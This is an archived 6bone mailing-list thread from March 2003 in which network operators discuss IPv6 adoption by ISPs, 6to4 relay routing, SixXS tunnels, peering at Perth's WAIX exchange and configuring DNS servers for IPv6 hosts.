>% > > >
>% > > > On Fri, 28 Feb 2003 18:02:32 Jeroen Massar wrote:
>% > > > > As an end user you will need to push your upstream, the people who
>% > > > > you pay, along with a load of other people to get them to do IPv6.
>% > > > > If they don't and you still want it, go to another ISP.
>% > > >
>% > > > And if there is no available ISP?  As I said before, saying 'give me
>% >IPv6
>% > > > transit or I'll disconnect from the Internet' is not a credible 
>threat.
>% > > >
>% > > > It is premature to schedule the end of the 6bone until there are
>% >multiple
>% > > > dialup and broadband providers in the USA.
>% > > > --
>% > > > Jonathan Guthrie (jguthrie@brokersys.com)
>% > > > Sto pro veritate
>% > > > _______________________________________________
>% > > > 6bone mailing list
>% > > > 6bone@mailman.isi.edu
>% > > > http://mailman.isi.edu/mailman/listinfo/6bone
>% > >
>% > > _______________________________________________
>% > > 6bone mailing list
>% > > 6bone@mailman.isi.edu
>% > > http://mailman.isi.edu/mailman/listinfo/6bone
>% >
>% >_______________________________________________
>% >6bone mailing list
>% >6bone@mailman.isi.edu
>% >http://mailman.isi.edu/mailman/listinfo/6bone
>%
>% _______________________________________________
>% 6bone mailing list
>% 6bone@mailman.isi.edu
>% http://mailman.isi.edu/mailman/listinfo/6bone
>%
>
>
>--
>--bill
>
>Opinions expressed may not even be mine by the time you read them, and
>certainly don't reflect those of any other entity (legal or otherwise).
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From trent@irc-desk.net Tue Mar  4 06:54:07 2003
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From: Trent Lloyd <trent@irc-desk.net>
Subject: Re: [6bone] Getting ISPs to use IPv6 
In-Reply-To: <009201c2e25d$35e744e0$3ce26d8c@sinica.edu.tw>
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At 10:48 PM 4/03/2003 +0800, Ethern Lin wrote:
>Dear Trent,
>
>You can try FreeBSD. It can provide what you need.
>Try stf interface.

Are you referring to connecting via 6to4, or running an 6to4 relay router 
so everyone else can relay through me?


>BR.
>
>Ethern
>
>----- Original Message -----
>From: "Trent Lloyd" <trent@irc-desk.net>
>To: "Jeroen Massar" <jeroen@unfix.org>; "'Michael Richardson'"
><mcr@sandelman.ottawa.on.ca>; <6bone@ISI.EDU>
>Sent: Tuesday, March 04, 2003 5:41 PM
>Subject: RE: [6bone] Getting ISPs to use IPv6
>
>
> > What software exists for 6to4 relay-routing
> >
> > I think 6to4 is great personally [use it with Windows XP at home]
> >
> > It be interested in having a shot at setting one up/.
> >
> > At 09:41 PM 3/03/2003 +0100, Jeroen Massar wrote:
> > >Michael Richardson wrote:
> > >
> > > > So, there are two ways to get /48s that you can use.
> > > >
> > > > 1) from places like freenet6 or xs6.
> > > > 2) via 6to4.
> > > >
> > > > The problem with freenet6-type things is that they depend upon tunnels
> > > > to places that aren't necessarily that well connected. xs6 is
> > > > much better, but not perfect.
> > > >
> > > > But, you can't advertise 6to4 addresses to the DFZ. You could do so
> > > > via private peering arrangements, but the peer could as
> > > > easily configure a 6to4 interface, and you wouldn't need to IPv6 peer
> > >at all.
> > > >
> > > > The problem with 6to4 is ironic - traffic to any other 6to4
> > > > peer is very efficient - following the IPv4 routing table. The problem
> > >is
> > > > that 6bone is SO POORLY CONNECTED from the 6to4 user's point of view.
> > >
> > >
> > >One first should differentiate between "6bone IPv6" and "Production
> > >IPv6".
> > >Though there are sites using 6bone space that qualify for "Production".
> > >A better way to describe it is when a site is MIPP compliant or not,
> > >see:
> > >http://ip6.de.easynet.net/ipv6-minimum-peering.txt
> > >
> > >Users won't want to only access the 6bone they want to access the
> > >IPv6 enabled internet, of which 6bone is only a small, but significant
> > >part.
> > >
> > > > A lot of purists want to run IPv6 natively, and don't seem to
> > > > care about connecting to actual end users... result, no traffic on the
> > >
> > > > native backbone.
> > >
> > >The problem with connecting end-users is the infra in between which
> > >mostly
> > >consists of hardware which simply doesn't support IPv6.
> > >In my case the 'problem' is a Redback SMS 1800, I got native IPv4 over
> > >ADSL,
> > >but those SMS's don't understand IPv6 at all. But using a 6in4 tunnel it
> > >only adds ~2ms to my latency as it crosses the IX, so that isn't that
> > >bad.
> > >
> > >Fortunatly there are a number of transition methods to overcome those
> > >problems.
> > >
> > > > So, we need more sites people on the 6bone that have local 6to4
> > > > encapsulators, and we need more 6to4 relays out there so that
> > > > the 6to4 end users can get things done efficiently. The question is
> > >how,
> > > > given that many ISPs are not interested in IPv6 at all yet.
> > > >
> > > > I was thinking of putting together a machine for a local IX that would
> > > > advertise the 6to4 anycast address. The issue is what do you
> > > > do with the resulting IPv6 packets?  You have to get IPv6 transit from
> > >somewhere.
> > > > In some cases, it may well be available for low cost. Not at our IX.
> > >
> > >Effectively this is what we are doing with SixXS, a LIR can come to us*,
> > >and we'll fix them up with a POP from which they can provision their
> > >users
> > >to get them connected to IPv6. This currently only is done using 6in4
> > >tunnels
> > >but the system is capable of doing other methods (ppp over ssh, to name
> > >one ;)
> > >The autoconfig tool, which also allows dailup/non-static, non-24/7 users
> > >to benefit from this, is currently in internal beta.
> > >
> > >Currently IPv6 "transit" isn't a big problem as most sites will happily
> > >do it
> > >for free, ofcourse in certain limits. So one doesn't have to worry about
> > >that.
> > >Just make sure you are at a IX where some other ISP's do IPv6 and your
> > >off.
> > >For 'better' connectivity one can ofcourse make a few tunnels to remote
> > >sites.
> > >Though one should stay inside the specs given in the MIPP draft.
> > >
> > >Note that this talk and related have been held last month on the v6ops
> > >mailing
> > >list mainly because it is 'bigger' than the 6bone.
> > >
> > >Greets,
> > >  Jeroen
> > >
> > >* = http://www.sixxs.net/pops/requirements/
> > >(and no, it doesn't cost anything except for some traffic and some
> > >hardware for the POP)
> > >
> > >_______________________________________________
> > >6bone mailing list
> > >6bone@mailman.isi.edu
> > >http://mailman.isi.edu/mailman/listinfo/6bone
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> >


From mclin@sinica.edu.tw Tue Mar  4 07:29:32 2003
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Message-ID: <00cb01c2e262$d5616f00$3ce26d8c@sinica.edu.tw>
From: "Ethern Lin" <mclin@sinica.edu.tw>
To: <6bone@ISI.EDU>, "Trent Lloyd" <trent@irc-desk.net>
References: <200303031834.h23IYFs5025435@marajade.sandelman.ottawa.on.ca> <5.1.0.14.0.20030304174031.02081d68@mail.bur.st> <5.1.0.14.0.20030304225324.015a4dd0@mail.bur.st>
Subject: Re: [6bone] Getting ISPs to use IPv6 
Date: Tue, 4 Mar 2003 23:29:14 +0800
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I think the keyword "6to4" is what I get from your mail,
so I think the FreeBSD maybe fit your need.
And you can also filter the incoming 6to4 relay from the
site out of your IP block.

BR.

Ethern

----- Original Message -----
From: "Trent Lloyd" <trent@irc-desk.net>
To: <6bone@ISI.EDU>
Sent: Tuesday, March 04, 2003 10:53 PM
Subject: Re: [6bone] Getting ISPs to use IPv6


> At 10:48 PM 4/03/2003 +0800, Ethern Lin wrote:
> >Dear Trent,
> >
> >You can try FreeBSD. It can provide what you need.
> >Try stf interface.
>
> Are you referring to connecting via 6to4, or running an 6to4 relay router
> so everyone else can relay through me?
>
>
> >BR.
> >
> >Ethern
> >
> >----- Original Message -----
> >From: "Trent Lloyd" <trent@irc-desk.net>
> >To: "Jeroen Massar" <jeroen@unfix.org>; "'Michael Richardson'"
> ><mcr@sandelman.ottawa.on.ca>; <6bone@ISI.EDU>
> >Sent: Tuesday, March 04, 2003 5:41 PM
> >Subject: RE: [6bone] Getting ISPs to use IPv6
> >
> >
> > > What software exists for 6to4 relay-routing
> > >
> > > I think 6to4 is great personally [use it with Windows XP at home]
> > >
> > > It be interested in having a shot at setting one up/.
> > >
> > > At 09:41 PM 3/03/2003 +0100, Jeroen Massar wrote:
> > > >Michael Richardson wrote:
> > > >
> > > > > So, there are two ways to get /48s that you can use.
> > > > >
> > > > > 1) from places like freenet6 or xs6.
> > > > > 2) via 6to4.
> > > > >
> > > > > The problem with freenet6-type things is that they depend upon
tunnels
> > > > > to places that aren't necessarily that well connected. xs6 is
> > > > > much better, but not perfect.
> > > > >
> > > > > But, you can't advertise 6to4 addresses to the DFZ. You could do
so
> > > > > via private peering arrangements, but the peer could as
> > > > > easily configure a 6to4 interface, and you wouldn't need to IPv6
peer
> > > >at all.
> > > > >
> > > > > The problem with 6to4 is ironic - traffic to any other 6to4
> > > > > peer is very efficient - following the IPv4 routing table. The
problem
> > > >is
> > > > > that 6bone is SO POORLY CONNECTED from the 6to4 user's point of
view.
> > > >
> > > >
> > > >One first should differentiate between "6bone IPv6" and "Production
> > > >IPv6".
> > > >Though there are sites using 6bone space that qualify for
"Production".
> > > >A better way to describe it is when a site is MIPP compliant or not,
> > > >see:
> > > >http://ip6.de.easynet.net/ipv6-minimum-peering.txt
> > > >
> > > >Users won't want to only access the 6bone they want to access the
> > > >IPv6 enabled internet, of which 6bone is only a small, but
significant
> > > >part.
> > > >
> > > > > A lot of purists want to run IPv6 natively, and don't seem to
> > > > > care about connecting to actual end users... result, no traffic on
the
> > > >
> > > > > native backbone.
> > > >
> > > >The problem with connecting end-users is the infra in between which
> > > >mostly
> > > >consists of hardware which simply doesn't support IPv6.
> > > >In my case the 'problem' is a Redback SMS 1800, I got native IPv4
over
> > > >ADSL,
> > > >but those SMS's don't understand IPv6 at all. But using a 6in4 tunnel
it
> > > >only adds ~2ms to my latency as it crosses the IX, so that isn't that
> > > >bad.
> > > >
> > > >Fortunatly there are a number of transition methods to overcome those
> > > >problems.
> > > >
> > > > > So, we need more sites people on the 6bone that have local 6to4
> > > > > encapsulators, and we need more 6to4 relays out there so that
> > > > > the 6to4 end users can get things done efficiently. The question
is
> > > >how,
> > > > > given that many ISPs are not interested in IPv6 at all yet.
> > > > >
> > > > > I was thinking of putting together a machine for a local IX that
would
> > > > > advertise the 6to4 anycast address. The issue is what do you
> > > > > do with the resulting IPv6 packets?  You have to get IPv6 transit
from
> > > >somewhere.
> > > > > In some cases, it may well be available for low cost. Not at our
IX.
> > > >
> > > >Effectively this is what we are doing with SixXS, a LIR can come to
us*,
> > > >and we'll fix them up with a POP from which they can provision their
> > > >users
> > > >to get them connected to IPv6. This currently only is done using 6in4
> > > >tunnels
> > > >but the system is capable of doing other methods (ppp over ssh, to
name
> > > >one ;)
> > > >The autoconfig tool, which also allows dailup/non-static, non-24/7
users
> > > >to benefit from this, is currently in internal beta.
> > > >
> > > >Currently IPv6 "transit" isn't a big problem as most sites will
happily
> > > >do it
> > > >for free, ofcourse in certain limits. So one doesn't have to worry
about
> > > >that.
> > > >Just make sure you are at a IX where some other ISP's do IPv6 and
your
> > > >off.
> > > >For 'better' connectivity one can ofcourse make a few tunnels to
remote
> > > >sites.
> > > >Though one should stay inside the specs given in the MIPP draft.
> > > >
> > > >Note that this talk and related have been held last month on the
v6ops
> > > >mailing
> > > >list mainly because it is 'bigger' than the 6bone.
> > > >
> > > >Greets,
> > > >  Jeroen
> > > >
> > > >* = http://www.sixxs.net/pops/requirements/
> > > >(and no, it doesn't cost anything except for some traffic and some
> > > >hardware for the POP)
> > > >
> > > >_______________________________________________
> > > >6bone mailing list
> > > >6bone@mailman.isi.edu
> > > >http://mailman.isi.edu/mailman/listinfo/6bone
> > >
> > > _______________________________________________
> > > 6bone mailing list
> > > 6bone@mailman.isi.edu
> > > http://mailman.isi.edu/mailman/listinfo/6bone
> > >
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>



From basit@basit.cc Tue Mar  4 08:08:35 2003
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on a related note ........

I tried to use 6over4 with XP, and XP just crash
whenever i try to create it via
ipv6 ifcr v6v4 v4src v4dst

This command simply leads to reboot of system
this is XP Professional with service pack 1

take care
- basit

On Tue, 4 Mar 2003, Trent Lloyd wrote:

> What software exists for 6to4 relay-routing
>
> I think 6to4 is great personally [use it with Windows XP at home]
>
> It be interested in having a shot at setting one up/.
>
> At 09:41 PM 3/03/2003 +0100, Jeroen Massar wrote:
> >Michael Richardson wrote:
> >
> > > So, there are two ways to get /48s that you can use.
> > >
> > > 1) from places like freenet6 or xs6.
> > > 2) via 6to4.
> > >
> > > The problem with freenet6-type things is that they depend upon tunnels
> > > to places that aren't necessarily that well connected. xs6 is
> > > much better, but not perfect.
> > >
> > > But, you can't advertise 6to4 addresses to the DFZ. You could do so
> > > via private peering arrangements, but the peer could as
> > > easily configure a 6to4 interface, and you wouldn't need to IPv6 peer
> >at all.
> > >
> > > The problem with 6to4 is ironic - traffic to any other 6to4
> > > peer is very efficient - following the IPv4 routing table. The problem
> >is
> > > that 6bone is SO POORLY CONNECTED from the 6to4 user's point of view.
> >
> >
> >One first should differentiate between "6bone IPv6" and "Production
> >IPv6".
> >Though there are sites using 6bone space that qualify for "Production".
> >A better way to describe it is when a site is MIPP compliant or not,
> >see:
> >http://ip6.de.easynet.net/ipv6-minimum-peering.txt
> >
> >Users won't want to only access the 6bone they want to access the
> >IPv6 enabled internet, of which 6bone is only a small, but significant
> >part.
> >
> > > A lot of purists want to run IPv6 natively, and don't seem to
> > > care about connecting to actual end users... result, no traffic on the
> >
> > > native backbone.
> >
> >The problem with connecting end-users is the infra in between which
> >mostly
> >consists of hardware which simply doesn't support IPv6.
> >In my case the 'problem' is a Redback SMS 1800, I got native IPv4 over
> >ADSL,
> >but those SMS's don't understand IPv6 at all. But using a 6in4 tunnel it
> >only adds ~2ms to my latency as it crosses the IX, so that isn't that
> >bad.
> >
> >Fortunatly there are a number of transition methods to overcome those
> >problems.
> >
> > > So, we need more sites people on the 6bone that have local 6to4
> > > encapsulators, and we need more 6to4 relays out there so that
> > > the 6to4 end users can get things done efficiently. The question is
> >how,
> > > given that many ISPs are not interested in IPv6 at all yet.
> > >
> > > I was thinking of putting together a machine for a local IX that would
> > > advertise the 6to4 anycast address. The issue is what do you
> > > do with the resulting IPv6 packets?  You have to get IPv6 transit from
> >somewhere.
> > > In some cases, it may well be available for low cost. Not at our IX.
> >
> >Effectively this is what we are doing with SixXS, a LIR can come to us*,
> >and we'll fix them up with a POP from which they can provision their
> >users
> >to get them connected to IPv6. This currently only is done using 6in4
> >tunnels
> >but the system is capable of doing other methods (ppp over ssh, to name
> >one ;)
> >The autoconfig tool, which also allows dailup/non-static, non-24/7 users
> >to benefit from this, is currently in internal beta.
> >
> >Currently IPv6 "transit" isn't a big problem as most sites will happily
> >do it
> >for free, ofcourse in certain limits. So one doesn't have to worry about
> >that.
> >Just make sure you are at a IX where some other ISP's do IPv6 and your
> >off.
> >For 'better' connectivity one can ofcourse make a few tunnels to remote
> >sites.
> >Though one should stay inside the specs given in the MIPP draft.
> >
> >Note that this talk and related have been held last month on the v6ops
> >mailing
> >list mainly because it is 'bigger' than the 6bone.
> >
> >Greets,
> >  Jeroen
> >
> >* = http://www.sixxs.net/pops/requirements/
> >(and no, it doesn't cost anything except for some traffic and some
> >hardware for the POP)
> >
> >_______________________________________________
> >6bone mailing list
> >6bone@mailman.isi.edu
> >http://mailman.isi.edu/mailman/listinfo/6bone
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

From jeroen@unfix.org Tue Mar  4 08:16:46 2003
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Subject: 6in4 with XP (Was: RE: [6bone] Getting ISPs to use IPv6)
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Abdul Basit [mailto:basit@basit.cc] wrote:

> on a related note ........
> 
> I tried to use 6over4 with XP, and XP just crash
> whenever i try to create it via
> ipv6 ifcr v6v4 v4src v4dst
> 
> This command simply leads to reboot of system
> this is XP Professional with service pack 1

You might want to read http://www.sixxs.net/forum/?msg=setup-22825
Note that it does work for me ;)

Greets,
 Jeroen


From mcr@sandelman.ottawa.on.ca Tue Mar  4 15:23:50 2003
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-----BEGIN PGP SIGNED MESSAGE-----


>>>>> "Trent" == Trent Lloyd <trent@irc-desk.net> writes:
    Trent> What software exists for 6to4 relay-routing

  Basically, any *BSD system, or Linux system.

  You just need to setup the stf0 interface with the IPv4 that you expect
people to reach you on. 

  The hard part is doing something with the resulting IPv6 packets - you
have to have some kind of reasonable IPv6 connectivity. Ideally, native,
but tunnels would do as well.

]       ON HUMILITY: to err is human. To moo, bovine.           |  firewalls  [
]   Michael Richardson, Sandelman Software Works, Ottawa, ON    |net architect[
] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[
] panic("Just another Debian GNU/Linux using, kernel hacking, security guy"); [
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From wildfire@progsoc.uts.edu.au Tue Mar  4 18:06:11 2003
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Subject: 6to4 relay routing was: [6bone] Getting ISPs to use IPv6
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On Tue, Mar 04, 2003 at 10:53:57PM +0800, Trent Lloyd wrote:
> At 10:48 PM 4/03/2003 +0800, Ethern Lin wrote:
> >Dear Trent,
> >
> >You can try FreeBSD. It can provide what you need.
> >Try stf interface.
> 
> Are you referring to connecting via 6to4, or running an 6to4 relay router 
> so everyone else can relay through me?
> 

You don't need any specific software to perform 6to4 relay routing.

If you have a machine setup for forwarding it'll do it. If you want to
also perform relay routing for 192.88.99.1 you can probably setup a
dummy interface -- or add that address to your existing ethernet card.

Anand

-- 
 `` We are shaped by our thoughts, we become what we think.
 When the mind is pure, joy follows like a shadow that never
 leaves. '' -- Buddha, The Dhammapada

From wildfire@progsoc.uts.edu.au Tue Mar  4 18:11:22 2003
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Subject: Re: [6bone] Getting ISPs to use IPv6
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[ Trent, please trim your emails ]

On Tue, Mar 04, 2003 at 05:38:45PM +0800, Trent Lloyd wrote:
> We have a local internet exchange in Perth called "WAIX" and i am hoping to 
> get some ipv6 transport happening over that
> The founder/guy who runs it has expressed interest but naturally he is a 
> busy man and since not that many people are into it i guess its not high on 
> his to-do list

I spoke to him while I was in Perth - the problem is that the exchange
members who might be interested run their Cisco gear without purchasing 
support (for cost reasons) so they aren't entitled to run the release 
train that supports IPv6.

> My local uni has connected through aarnet, and you can get a 'tunnel' from 
> 6bone@progsoc.org.au (email) who come of [i forget]

6bone@progsoc.org. Our upstream is Trumpet.

> As you said, the 4 TLA owners there are unlikely to do much - a shame.
> 
> Is it possible for a 'group' to get a TLA?
> maybe an informal associated of people from random ISPs and just people got 
> together and got a TLA which they could do stuff with?
> I'd be interested.

Why exactly would a 'group' need a TLA?

Regards,
Anand

-- 
 `` We are shaped by our thoughts, we become what we think.
 When the mind is pure, joy follows like a shadow that never
 leaves. '' -- Buddha, The Dhammapada

From old_mc_donald@hotmail.com Wed Mar  5 04:40:14 2003
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Trent Lloyd said amongst other stuff:

 Is it possible for a 'group' to get a TLA?
| maybe an informal associated of people from random ISPs and just people
got
| together and got a TLA which they could do stuff with?
| I'd be interested.

Yep, me too, and I'm in Perth also - well Quinns Rocks.:0)

Gav...


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I didn't know that, I'm using the Tilab TB Client.
I'll take a look , thanks.

Gav...

----- Original Message -----
From: "Trent Lloyd" <trent@irc-desk.net>
To: <6bone@ISI.EDU>
Sent: Tuesday, March 04, 2003 5:38 PM
Subject: Re: [6bone] Getting ISPs to use IPv6


| We have a local internet exchange in Perth called "WAIX" and i am hoping
to
| get some ipv6 transport happening over that
| The founder/guy who runs it has expressed interest but naturally he is a
| busy man and since not that many people are into it i guess its not high
on
| his to-do list
|
| My local uni has connected through aarnet, and you can get a 'tunnel' from
| 6bone@progsoc.org.au (email) who come of [i forget]
|
| As you said, the 4 TLA owners there are unlikely to do much - a shame.
|
| Is it possible for a 'group' to get a TLA?
| maybe an informal associated of people from random ISPs and just people
got
| together and got a TLA which they could do stuff with?
| I'd be interested.
|
| At 02:23 PM 3/03/2003 +1000, Dan Reeder wrote:
| >let me expand on my point below -
| >according to sixxs, there's four TLAs in australia: Connect, Telstra,
NTT,
| >and AARNET
| >
| >from what I can determine, Connect has been idle since it's inception in
| >1999; Telstra has a boss who thinks packet switching is an immature
| >technology, not to mention the fact that their left hand doesn't know
what
| >the right hand is doing in an organisation that big; NTT seems to be for
big
| >business ($$) only; and Aarnet for educational institutions only.
| >
| >does anyone who lives in a country similarly constrained have any ideas
| >about how to get things progressing?
| >
| >dan
| >----- Original Message -----
| >From: "Dan Reeder" <dan@reeder.name>
| >To: "Jonathan Guthrie" <jguthrie@brokersys.com>; "Jeroen Massar"
| ><jeroen@unfix.org>
| >Cc: "'Michael Sturtz'" <Michael.Sturtz@paccar.com>; <6bone@ISI.EDU>
| >Sent: Monday, March 03, 2003 10:31 AM
| >Subject: Re: [6bone] Getting ISPs to use IPv6
| >
| >
| > > > It is premature to schedule the end of the 6bone until there are
| >multiple
| > > > dialup and broadband providers in the USA.
| > >
| > > and, dare i say it, in each major region of the world too?
| > > i'm yet to see a non-tunnelled solution for the home user in .au
| > >
| > > dan
| > >
| > > ----- Original Message -----
| > > From: "Jonathan Guthrie" <jguthrie@brokersys.com>
| > > To: "Jeroen Massar" <jeroen@unfix.org>
| > > Cc: "'Michael Sturtz'" <Michael.Sturtz@paccar.com>; <6bone@ISI.EDU>
| > > Sent: Monday, March 03, 2003 7:34 AM
| > > Subject: Re: [6bone] Getting ISPs to use IPv6
| > >
| > >
| > > >
| > > > On Fri, 28 Feb 2003 18:02:32 Jeroen Massar wrote:
| > > > > As an end user you will need to push your upstream, the people who
| > > > > you pay, along with a load of other people to get them to do IPv6.
| > > > > If they don't and you still want it, go to another ISP.
| > > >
| > > > And if there is no available ISP?  As I said before, saying 'give me
| >IPv6
| > > > transit or I'll disconnect from the Internet' is not a credible
threat.
| > > >
| > > > It is premature to schedule the end of the 6bone until there are
| >multiple
| > > > dialup and broadband providers in the USA.
| > > > --
| > > > Jonathan Guthrie (jguthrie@brokersys.com)
| > > > Sto pro veritate
| > > > _______________________________________________
| > > > 6bone mailing list
| > > > 6bone@mailman.isi.edu
| > > > http://mailman.isi.edu/mailman/listinfo/6bone
| > >
| > > _______________________________________________
| > > 6bone mailing list
| > > 6bone@mailman.isi.edu
| > > http://mailman.isi.edu/mailman/listinfo/6bone
| >
| >_______________________________________________
| >6bone mailing list
| >6bone@mailman.isi.edu
| >http://mailman.isi.edu/mailman/listinfo/6bone
|
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone
|


---
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From old_mc_donald@hotmail.com Wed Mar  5 04:48:43 2003
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From: "Gav" <old_mc_donald@hotmail.com>
To: "Bill Manning" <bmanning@ISI.EDU>, "Trent Lloyd" <trent@irc-desk.net>
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Subject: Re: [6bone] Getting ISPs to use IPv6
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Hi Trent,

hope your not confusing him with me :0)

I certainly haven't done much lately

Gav...


----- Original Message -----
From: "Trent Lloyd" <trent@irc-desk.net>
To: "Bill Manning" <bmanning@ISI.EDU>
Cc: <6bone@ISI.EDU>
Sent: Tuesday, March 04, 2003 10:48 PM
Subject: Re: [6bone] Getting ISPs to use IPv6


| At 05:50 AM 4/03/2003 -0800, Bill Manning wrote:
| >  Once Gavin gets the paperwork processed, WAIX will have a v6
| >  prefix delegated from ep.net for WAIX participants to use for
| >  native peering.
|
| really? cool i didnt know he got this far.
| i suspected he hadn't done much at all actually
|
|
| >% We have a local internet exchange in Perth called "WAIX" and i am
hoping to
| >% get some ipv6 transport happening over that
| >% The founder/guy who runs it has expressed interest but naturally he is
a
| >% busy man and since not that many people are into it i guess its not
high on
| >% his to-do list
| >%
| >% My local uni has connected through aarnet, and you can get a 'tunnel'
from
| >% 6bone@progsoc.org.au (email) who come of [i forget]
| >%
| >% As you said, the 4 TLA owners there are unlikely to do much - a shame.
| >%
| >% Is it possible for a 'group' to get a TLA?
| >% maybe an informal associated of people from random ISPs and just people
got
| >% together and got a TLA which they could do stuff with?
| >% I'd be interested.
| >%
| >% At 02:23 PM 3/03/2003 +1000, Dan Reeder wrote:
| >% >let me expand on my point below -
| >% >according to sixxs, there's four TLAs in australia: Connect, Telstra,
NTT,
| >% >and AARNET
| >% >
| >% >from what I can determine, Connect has been idle since it's inception
in
| >% >1999; Telstra has a boss who thinks packet switching is an immature
| >% >technology, not to mention the fact that their left hand doesn't know
what
| >% >the right hand is doing in an organisation that big; NTT seems to be
| >for big
| >% >business ($$) only; and Aarnet for educational institutions only.
| >% >
| >% >does anyone who lives in a country similarly constrained have any
ideas
| >% >about how to get things progressing?
| >% >
| >% >dan
| >% >----- Original Message -----
| >% >From: "Dan Reeder" <dan@reeder.name>
| >% >To: "Jonathan Guthrie" <jguthrie@brokersys.com>; "Jeroen Massar"
| >% ><jeroen@unfix.org>
| >% >Cc: "'Michael Sturtz'" <Michael.Sturtz@paccar.com>; <6bone@ISI.EDU>
| >% >Sent: Monday, March 03, 2003 10:31 AM
| >% >Subject: Re: [6bone] Getting ISPs to use IPv6
| >% >
| >% >
| >% > > > It is premature to schedule the end of the 6bone until there are
| >% >multiple
| >% > > > dialup and broadband providers in the USA.
| >% > >
| >% > > and, dare i say it, in each major region of the world too?
| >% > > i'm yet to see a non-tunnelled solution for the home user in .au
| >% > >
| >% > > dan
| >% > >
| >% > > ----- Original Message -----
| >% > > From: "Jonathan Guthrie" <jguthrie@brokersys.com>
| >% > > To: "Jeroen Massar" <jeroen@unfix.org>
| >% > > Cc: "'Michael Sturtz'" <Michael.Sturtz@paccar.com>; <6bone@ISI.EDU>
| >% > > Sent: Monday, March 03, 2003 7:34 AM
| >% > > Subject: Re: [6bone] Getting ISPs to use IPv6
| >% > >
| >% > >
| >% > > >
| >% > > > On Fri, 28 Feb 2003 18:02:32 Jeroen Massar wrote:
| >% > > > > As an end user you will need to push your upstream, the people
who
| >% > > > > you pay, along with a load of other people to get them to do
IPv6.
| >% > > > > If they don't and you still want it, go to another ISP.
| >% > > >
| >% > > > And if there is no available ISP?  As I said before, saying 'give
me
| >% >IPv6
| >% > > > transit or I'll disconnect from the Internet' is not a credible
| >threat.
| >% > > >
| >% > > > It is premature to schedule the end of the 6bone until there are
| >% >multiple
| >% > > > dialup and broadband providers in the USA.
| >% > > > --
| >% > > > Jonathan Guthrie (jguthrie@brokersys.com)
| >% > > > Sto pro veritate
| >% > > > _______________________________________________
| >% > > > 6bone mailing list
| >% > > > 6bone@mailman.isi.edu
| >% > > > http://mailman.isi.edu/mailman/listinfo/6bone
| >% > >
| >% > > _______________________________________________
| >% > > 6bone mailing list
| >% > > 6bone@mailman.isi.edu
| >% > > http://mailman.isi.edu/mailman/listinfo/6bone
| >% >
| >% >_______________________________________________
| >% >6bone mailing list
| >% >6bone@mailman.isi.edu
| >% >http://mailman.isi.edu/mailman/listinfo/6bone
| >%
| >% _______________________________________________
| >% 6bone mailing list
| >% 6bone@mailman.isi.edu
| >% http://mailman.isi.edu/mailman/listinfo/6bone
| >%
| >
| >
| >--
| >--bill
| >
| >Opinions expressed may not even be mine by the time you read them, and
| >certainly don't reflect those of any other entity (legal or otherwise).
| >
| >_______________________________________________
| >6bone mailing list
| >6bone@mailman.isi.edu
| >http://mailman.isi.edu/mailman/listinfo/6bone
|
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone
|


---
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From tbegin@tf1.fr Wed Mar  5 07:13:24 2003
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HI,
I'm wondering what's the way for specifying to a host DNS server's addresses.
I mean are these addresses necessary (from DNS servers) stocked in each individual host (as it used to be for IPv4)? or is there a way to give this information to routers ? 
I came to this question after reading the cisco's documentation about IPv6 commands (http://www.cisco.com/univercd/cc/td/doc/product/software/ios122/122newft/122t/122t2/ipv6/ftipv6c.htm) which specifies about giving to routers DNS server's addresses.

Thanks

Thomas

From bmanning@ISI.EDU Wed Mar  5 09:03:36 2003
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Subject: Re: [6bone] DNS servers
In-Reply-To: <745A3632968F53438280A8320C535AD20CCA28@MSGEXS21.tf1.groupetf1.fr> from "BEGIN, Thomas" at "Mar 5, 3 04:13:15 pm"
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% HI,
% I'm wondering what's the way for specifying to a host DNS server's addresses.
% I mean are these addresses necessary (from DNS servers) stocked in each individual host (as it used to be for IPv4)? or is there a way to give this information to routers ? 
% I came to this question after reading the cisco's documentation about IPv6 commands (http://www.cisco.com/univercd/cc/td/doc/product/software/ios122/122newft/122t/122t2/ipv6/ftipv6c.htm) which specifies about giving to routers DNS server's addresses.
% 
% Thanks
% 
% Thomas
% _______________________________________________

	you mean like this:

search ip6.int ep.net
nameserver 198.32.2.10
nameserver 2001:478:6:0:230:48ff:fe22:6a29
nameserver 198.32.6.11
nameserver 3ffe:805::2d0:b7ff:fee8:c4d9


--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From tbegin@tf1.fr Wed Mar  5 09:10:05 2003
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Hello,
No I mean I quite sure it is possible to give DNS to every hosts by entering IP address for each of them (like in IPv4). True ?

But my real question is: are the router able to advertise to hosts what are DNS addresse's ? It's what I've understood by reading Cisco documentation...


-----Message d'origine-----
De : Bill Manning [mailto:bmanning@ISI.EDU]
Envoyé : mercredi 5 mars 2003 18:04
À : BEGIN, Thomas
Cc : 6bone@ISI.EDU
Objet : Re: [6bone] DNS servers


% HI,
% I'm wondering what's the way for specifying to a host DNS server's addresses.
% I mean are these addresses necessary (from DNS servers) stocked in each individual host (as it used to be for IPv4)? or is there a way to give this information to routers ? 
% I came to this question after reading the cisco's documentation about IPv6 commands (http://www.cisco.com/univercd/cc/td/doc/product/software/ios122/122newft/122t/122t2/ipv6/ftipv6c.htm) which specifies about giving to routers DNS server's addresses.
% 
% Thanks
% 
% Thomas
% _______________________________________________

	you mean like this:

search ip6.int ep.net
nameserver 198.32.2.10
nameserver 2001:478:6:0:230:48ff:fe22:6a29
nameserver 198.32.6.11
nameserver 3ffe:805::2d0:b7ff:fee8:c4d9


--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From bmanning@ISI.EDU Wed Mar  5 09:37:27 2003
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200303051737.h25HbHc11014@boreas.isi.edu>
Subject: Re: [6bone] DNS servers
